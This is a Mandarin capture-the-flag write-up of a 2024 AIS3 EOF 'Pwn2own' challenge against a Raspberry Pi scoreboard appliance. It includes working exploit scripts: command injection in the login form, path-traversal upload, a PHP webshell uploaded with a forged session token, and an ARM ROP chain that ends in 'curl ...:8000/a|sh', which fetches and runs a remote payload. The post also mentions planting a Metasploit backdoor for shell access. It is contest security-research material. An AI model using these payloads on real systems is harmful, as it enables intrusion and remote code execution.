Original writeup is in mandarine and will be translated to English some time later.

A repost from my hackmd

這是一篇 2024 AIS3 EOF CTF “Pwn2own” Challenge 的 writeup,Enjoy!

標題是致敬 Orange 去年在 HITCON 發表的題目的標題。

協作: Vincent55, Curious 袁神(?)

Final result: Master of Pwn (Pwn2own Winner a.k.a 麵包超人獎)

影片版口述 Blog

賽制與計分方式

官方介紹: 還增加了Pwn2Own的題目, 在現場的Demo區,檢測成功即可得分, 分數採等差級數式遞增,讓大家會想挑戰找最多、最難的「漏洞」 最後整合五個領域的分數,來結束隊伍排名。

給你一台 Raspberry Pi,只要在主辦單位的差不多環境的 Raspberry Pi 上成功自動播出指定影片即視為 Pwn 成功,下面有更詳細的介紹。(每一隊會有一組差不多的環境,先打自己的機器測試成功後上去 Demo)。

Demo 之前要先交一份簡短的漏洞報告說明,以及要交一份 PoC script,因為有隊伍好像是我們第一版的 Exploit 手動做太多事情了,所以後面有限制工作人員只能少許的幫忙做操作。現場 Demo 如果失敗可以當場修修看,不過 Time Limit 就是五分鐘。

每次 Pwn 成功主辦單位都會針對上一組打的地方做 Patch,而成功時得到的分數為 $10+\displaystyle\sum^{n-1}_{i=1} i$ 分$(n$為 Pwn 成功的次數,也就是前幾次成功能獲得的分數分別是$10, 11, 13, 16,…)$ 撞洞的話就不算,先搶先贏,因為每個版本只接受一次 Pwn 成功,接下來只能針對下個版本做攻擊。每一隊只計算得到最高分的那一次。會持續釋出更新的韌體檔案。

環境

Hardware

Raspberry Pi + monitor

大概長這樣,偷一下官方的照片

image

Open Ports

我沒記錯是對外開 web interface (80) 與 12387。

Web 就是字面意義上的 web。它的正常功能是作為顯示記分板以及可以弄自己的圖片或是字上到螢幕上。

12387 為一個自己實作的 tcp web server,類似 API,但是是由額外的 binary 處理 request,功能與 web 差不多 (但是 patch 是分開的,所以理論上很多 web 一個洞能打兩次),要自己實作出 protocol 跟它互動。

Firmware

它自己實作的格式,但基本上長得像 tar archive,然後裡面內容是先有一段是 update firmware 會跑的 setup script,後面接的是要更新的 new firmware files

後面的資料其實 binwalk 就能解出來了。但是我到後面才發現它的 Firmware 前面有個類似每次更新的 setup script,其實也是會有所不同而造成有些機器設定有變,等等會講到。

功能介紹

為了方便,我先把漏洞打出來(不完整)。

image

登入

就登入阿。它的實作方法是把 username / password 丟進 auth (一隻 binary) 做驗證,而 auth 是用 pam 做驗證(類似 linux 使用者管理,密碼會在 /etc/shadow 這樣),唯一 pre-auth 的地方(廢話)

前期這裡有 command injection,而 auth 程式一直都有 buffer overflow。

Display

就是改螢幕上的內容為

  • 顯示記分板 set to contest (把螢幕投影成機器上某地方的 contest.html,而投影原理就是開一個全螢幕的 Chrome 去瀏覽它)
  • 弄自己的圖片到螢幕上,或是去抓網路上的圖片 (上傳功能跟抓圖片的功能當然有很大的問題,見下面)
  • 弄自己想要的字到螢幕上 (可以 XSS)

image

Manage

管理圖片的地方,有圖片上傳與刪除的功能,並且可以指定圖片的名稱。洞很多。

image

Firmware Updater

上傳 Firmware 之後刷新的 Firmware 上去,注意刷上之後只會更新檔案,機器不會重啟。

Show Secret

就 Show Secret Key。

Secret 可以拿來簽 session cookie,並且如果用 API 模式互動也會驗。

API (TCP Web Server)

有 display,manage,update 的功能。洞也蠻多而且跟 web 的洞地方很像。會檢驗 secret key 是否相同才給互動。本身 binary 也有洞。

Let’s Pwn The Device

這場 Web 很多洞都是 Vincent 看出來的,s/o to Vincent55,Curious 袁神也有在逆向後提供線索以及隨手打了一個洞 (雖然他很快就去打別題了),而我大部分的時間都在嘴砲跟指揮 Vincent 寫 exploit,也許後面我不小心打了出了唯一 binary 的洞。

Exploit 腳本跟環境幾乎都是 Vincent 用的(還有滿滿的 ChatGPT),謝謝 Vincent Orz。

以下小標題的編號表示 firmware 的版本,越後面洞補得越多。

v1

登入介面有裸 command injection,我們本來用 command injection 蓋掉 contest.html 然後 display,但後來我經過逆向發現它的 display 記分板功能其實是開 chrome 投影到螢幕上就好(要指定 DISPLAY 變數)。處理影片無法自動播放花了一點時間。

image

image

拿到 First Blood,好欸好欸。

image

這個水洞我們搞了快兩小時

import requests

s = requests.Session()
import sys

url = sys.argv[1]

s.post(
    url + "/cgi-bin/login.cgi",
    data={
        "username": "; export DISPLAY=:0;  chromium http://dev.vincent55.tw:6999/30cm.mp4;",
        "password": "xxx",
    },
)

v3

  1. auth.session-token 的 cookie 設定成隨便值就能繞過登入
  2. /cgi-bin/manage.cgi 上傳 contest.html,並且 path 填 ../../html/contest 就能造成 path traversal 蓋掉 contest.html

網頁內容其實就是 redirect 而已

<script>location.href="http://vps/a.mp4"</script>
  1. 最後在 /cgi-bin/control.cgi 按下 set contest 的紅色按鈕,回到 /cgi-bin/control.cgi 按下黃色 restart display 按鈕即可,它會顯示剛剛蓋掉的contest.html
import requests

s = requests.Session()
import sys

url = sys.argv[1]

multipart_form_data = {
    "image_id": (None, "../../html/contest"),
    "upload": (None, ""),
    "image": (
        "contest.html",
        '<script>location.href="http://dev.vincent55.tw:6999/30cm.mp4"</script>',
        "text/html",
    ),
}


# upload payload file
s.post(
    url + "/cgi-bin/manage.cgi",
    files=multipart_form_data,
    cookies={"auth.session-token": "x"},
)
# set to contest
s.post(
    url + "/cgi-bin/control.cgi",
    data={"displayType": "contest", "text": None, "url": None},
    cookies={"auth.session-token": "x"},
)

# restart display
s.post(
    url + "/cgi-bin/control.cgi",
    data={"restart": "", "displayType": "contest", "text": "", "url": ""},
    cookies={"auth.session-token": "x"},
)

v4

這個洞是 Curious 打的,show_secret.cgi 有 python code injection。

cookie="$(python3 -c "from http.cookies import SimpleCookie; cookies='$HTTP_COOKIE';...)"

HTTP_COOKIE 可以直接注入 python code 就好了。

v11

其實這時候修了登入驗證的東東,注意此時需要用 secret 去 forge session 來登入,但是此時 secret 是固定的 (當時沒很快發現這點),後來 Vincent 去 diff 原始 firmware 檔案 (不是拆出來的檔案)發現的。而且其實這時前端洞修很多了,但我亂戳戳到的。

image

  1. 用 secret forge session cookie 登入
  2. /cgi-bin/control.cgi 直接上傳 webshell 結束(沒有擋 php

結果這個上傳 webshell 的洞理論上也應該是屬於水出天際的那種(相信很多人第一個 web 洞都是這樣拿的),結果第一天沒人戳到,笑死。

import requests

s = requests.Session()
import sys

url = sys.argv[1]
file_name = sys.argv[2]

forge_cookie = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZW9mIiwiZXhwIjoxOTA3MDE5NTQ3fQ.B1qI9W906iWDE6CP8bs-qUuZk8uyGy7MHZgoRf808t8"

multipart_form_data = {
    "image_id": (None, file_name),
    "upload": (None, ""),
    "image": (
        file_name + ".php",
        "<?php system(base64_decode($_GET[1])); phpinfo();?>",
        "application/octet-stream",
    ),
}

# upload webshell
s.post(
    url + "/cgi-bin/manage.cgi",
    files=multipart_form_data,
    cookies={"auth.session-token": forge_cookie},
)

# just use it
r = s.get(
    f"{url}/images/{file_name}.php?1=ZXhwb3J0IERJU1BMQVk9OjA7ICBjaHJvbWl1bSBodHRwOi8vZGV2LnZpbmNlbnQ1NS50dzo1MDAwLw==",
    cookies={"auth.session-token": forge_cookie},
)
print(r.text)

v14

其實這時 web 基本上沒洞了,大家開始去打 API (api 的某些對應 web 功能還是有 cmd injection 以及之前出現的洞),我想說要涼了,要捲到 binary 上了。

結果我依稀記得 Curious 發現 auth binary 有個水洞,就是 auth 的 username / password 會用 strcpy 複製到 stack 上就可以做無 null byte 的 stack buffer overflow。

image

我一把 cyclic 生出來的 payload 丟上去就發現中了,可以直接控 program counter,在經過各種花式 debug + 手搓 ROP Chain,就非常痛苦的解出來了,詳情在下面有講。

image

最後成功在最後 20 分鐘絕殺,獲得 Master of Pwn

image

我的 exploit 的 ROP Chain 很醜因為我是一段一段 ad-hoc 改的,它會 work 就不要再動它了。我願稱為宇宙無敵至尊 RCE

import requests
from pwn import *
import sys

url = sys.argv[1]
headers = {
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8",
    "Accept-Language": "zh-TW,zh",
    "Cache-Control": "max-age=0",
    "Connection": "keep-alive",
    "Content-Type": "application/x-www-form-urlencoded",
    "Origin": url,
    "Referer": url + "/cgi-bin/login.cgi",
    "Sec-GPC": "1",
    "Upgrade-Insecure-Requests": "1",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36",
}
pop_r0_r4_pc = 0xF7EAA520
cmd = 0xFFFEF650 + 12
system = 0xF7E5DA0C
data = {
    "username": b"a",
    "password": b"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaa"
    + p32(pop_r0_r4_pc)
    + p32(cmd)
    + p32(pop_r0_r4_pc)
    + p32(0xFFFEF62C)
    + p32(0xDEADBEEF)
    + p32(system)
    + b"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;curl 23.102.232.255:8000/a|sh;",
    # 'password': b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaaccccbbbbddddvaaawaaaxaaayaaa;curl 23.102.232.255:8000/a|sh;',
}

# print(data["password"])
# import binascii
# print("r a \"$(echo -n \""+''.join([rf'\x{byte:02x}' for byte in data["password"]])+"\")\"")
response = requests.post(
    url + "/cgi-bin/login.cgi", headers=headers, data=data, verify=False
)
print(response.text)

Some notes

關於如何登入

這題其實大多數洞都是 post-auth,所以要繞過登入。

而登入驗證大概分三個階段

  1. 第一天時基本上只有驗 auth.session-token 這個 cookie 存不存在,所以可以亂填就視為登入。
  2. 後來加上 jwt 驗證,但又”不小心”把 secret key 寫死 (更新上去大家的 secret key 都是 A1s3-E0f_2O24),直接 forge jwt 即可
  3. 後來就也把固定 secret 拔掉了,看起來就不好登入了…嗎?
  4. 其實有個超級(?)登入法: eof/3sia 為萬能帳密…其實它有給 /etc/shadow 的hash,而它是可以爆破的,hashcat 結束 by Yingmuo

關於如何播影片

我們根據分析它是怎麼把計分板顯示出來後,發現它其實就是在螢幕開 chromium 然後瀏覽過去。完整指令類似

execl(
      "/usr/bin/chromium",
      "/usr/bin/chromium",
      v8,
      "--new-window",
      &v4,
      "--window-position=0,0",
      "--kiosk",
      "--start-fullscreen",
      "--start-maximized",
      "--incognito",
      "--noerrdialogs",
      "--disable-translate",
      "",
      "--disable-web-security",
      "--disable-infobars",
      "--disable-features=TranslateUI",
      "--overscroll-history-navigation=0",
      "--disable-pinch",
      a1,
      0);

但是要注意他在前面有先設環境變數 DISPLAY=:0

所以只要想辦法叫 chrome 去瀏覽影片即可。

PoC: export DISPLAY=:0; chromium http://vps/target.mp4;

注意到不能直接瀏覽 YouTube 的連結,它瀏覽過去後會無法自動播放,這樣不算成功,要把 mp4 放在自己的 server 上然後直接戳那個 mp4 就會自動播放了,這個點讓我們困擾了很久。

關於如何管理機器

還有一個難點是如何管理機器 (取得 terminal / debug console)。

我的作法簡單又粗暴: 在一剛開始有 command injection 的版本直接把 metasploit 木馬丟上去,然後就有萬能 shell 了。注意他不會重啟所以 session 會一直存在。隊友要 reverse shell 也能馬上開一個給他這樣。後來發現上傳 Webshell 作為管理介面也行,超級 Dirty Hack。我以前以為用後門工具當作管理工具是一種梗,結果有一天我真的這麼做…中国蚁剑万岁

YingMuo: 其實可以接上自己電腦然後用 dd extract file system 出來 (反正就想辦法弄出來整台機器的環境),然後用 emulation framework 本機模擬起來其實就很夠用了。如果要測試實機,其實可以想辦法開啟 ssh service,並且可以開一個 debug account,直接登進去管理即可。

關於如何 Debug

Web 其實不太需要,大概眼睛看一看就知道有沒有成功了(?)。但最痛苦的是打 Binary。我打出的唯一 Binary 洞其實很水,但是主要是真的超級難 debug…所以我想這就是為什麼到後面超久沒有 exploit 出現。

好消息: 洞很簡單 + 保護都關 + NO ASLR

壞消息: 沒有 gdb-server 不好 Remote debugging,也沒有 proper shell,還是 Arm Instruction 的 Binary (?!)

我也懶的用 emulator 因為我怕有 offset 的問題,我發現上面有 gdb (!),但是 metasploit shell 其實超級難用 gdb 所以很痛苦…而我懶得自己把 debugging tool 編好然後丟上去

我要先生好 payload 檔案然後在 gdb 跑 r a "$(cat pay)" 這樣去那機器上做測試,沒法用 pwntools,就很麻煩,好險 ASLR 是關的。最終 buffer overflow 控制 pc 之後就用 pop {r0, r4, pc} 這個 gadget,r0 是 first argument 所以這個 gadget 可以控制 first argument + program counter,真的很強。調整一下 payload 的一些 offset,直接 call system 就成功 RCE 了!

P.S. 因為用的 gadget 都是 libc 的所以沒有 NULL Byte 的問題。

YingMuo: 其實沒開 NX 直接寫 shellcode 就好了…

但是我好懶得寫 Shellcode

而中間的一些 offset 在 remote 跟 local 跑有點小不同,但是我後來有馬上修好了,讚讚。

Arm 的 gdb 還會有一些問題 (兩種 instruction 的緣故),所以後來我用 0xDEADBEEF 手動製造 breakpoint。

image

YingMuo: 阿,忘了把 gdb 砍掉…

趣事分享

  • 我們在打 v11 時,其實它的 secret key 好像不小心不是固定的(反正驗證 cookie 時發現是爛的),後來 rejudge 後發現沒撞洞就算打成功了。
  • 其實有另一隊也差點打出來 Buffer Overflow,但就是有些 bug 沒修好所以我就先打掉了
  • 我把我的 metasploit 後門放在 public server 上,結果有四個人直接下載並執行,差點建立了四個莫名其妙的 session,只是他們很快就 die 了,差點捕獲肉機,笑死 (有確認過不是跟這次比賽有關的機器)

image image

  • Public 的 web server 真的很容易被掃,我的 log 看見一堆機器人在戳
  • 因為到後期為了 debug 與刷韌體方便,所以他有上一個 patch 就是第一次登入能暫時改密碼但 demo 不能改密碼(因為當時修了很多登入的洞,如果沒猜到弱密碼會無法登入)。最後一次 binary demo 時,忘記先把那邊跳過(可以選擇不改密碼,之後就要想辦法自己登入),後來取消改密碼後就跟普通機器狀況一樣,打 exploit 一次就成功,讚讚。
  • YingMuo: 本來預計成功要播放 Rickroll 來表示 Pwn 成功,但是沒有 Speaker 因而作罷。
  • 有一隊發現可以把韌體先刷成舊版然後再打以前的洞形成 downgrade attack ,超酷
  • Raspberry Pi 上面的 echo 怪怪的,會無法正常輸出 raw bytes,所以我後來是先在我本機生好 payload 之後丟過去跑。

後記

  • 能不打 binary 的洞就不打,command injection 一刀殺進去就結束了。其實大多數這次打的洞都是 command injection 或是一些上傳的漏洞,別隊也打出 XSS 跟 SSRF 也都是 web 的洞。 image
  • 還有蠻多酷酷的洞都沒打到像是 environment injection 還有如果要打 format string bug 居然會在螢幕上 leak 出 address 等等。
  • 感謝 Vincent 超級快速的看出很多 Web 洞並且寫 Exploit 和漏洞報告時一直被我大吼大叫,我覺得一個 binary + 一個 web 在這次 pwn2own 是非常好的人員配置。
  • 我要感謝我的隊友們 Vincent、Chumy、Itiscaleb、Aukro、Curious、Naup 與 ShallowFeather 在其他題的瘋狂 Carry,讓我可以全力輸出打這題。
  • 感謝 TeamT5,Pre Exam 的 Router 題目與 Security Camp 中 Nick 的漏洞挖掘相關課程帶給我非常多的啟發。
  • 感謝 YingMuo 與 giver 出的這個優質且好玩題目,與賽後的交流討論,讓我獲益良多,成功讓 Binary 狗在 Web 為主的 EOF Final 有事情可做
  • 感謝 AIS3 舉辦這個 EOF 好比賽,也謝謝所有最辛苦的工作人員。